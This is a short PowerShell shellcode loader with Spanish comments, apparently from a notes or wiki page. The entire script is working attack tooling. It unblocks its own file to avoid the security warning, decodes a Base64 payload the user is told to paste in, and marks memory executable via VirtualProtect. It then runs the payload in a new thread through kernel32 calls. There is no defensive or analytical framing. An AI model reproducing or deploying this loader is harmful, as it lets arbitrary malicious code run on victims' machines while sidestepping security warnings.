.exe
# Desbloquear el archivo para evitar la advertencia de seguridad
Unblock-File -Path $MyInvocation.MyCommand.Path
# Obtener la cadena Base64 incrustada del archivo binario (Reemplaza esto con la cadena Base64 generada)
$base64String = 'PASTE_YOUR_BASE64_ENCODED_BIN_HERE'
# Convertir la cadena Base64 a un arreglo de bytes
$scBytes = [Convert]::FromBase64String($base64String)
# Reservar memoria para el shellcode
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($scBytes.Length)
# Copiar los bytes en la memoria reservada
[System.Runtime.InteropServices.Marshal]::Copy($scBytes, 0, $ptr, $scBytes.Length)
# Establecer permisos de ejecución en la memoria reservada
$oldProtect = 0
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
"@
# Cambiar los permisos de la memoria para que sea ejecutable
[Kernel32]::VirtualProtect($ptr, $scBytes.Length, 0x40, [ref]$oldProtect)
# Crear un hilo y ejecutar el shellcode
$threadId = 0
$hThread = [Kernel32]::CreateThread([IntPtr]::Zero, 0, $ptr, [IntPtr]::Zero, 0, [ref]$threadId)
# Esperar a que termine la ejecución (espera indefinida)
[Kernel32]::WaitForSingleObject($hThread, [UInt32]::MaxValue)
Last updated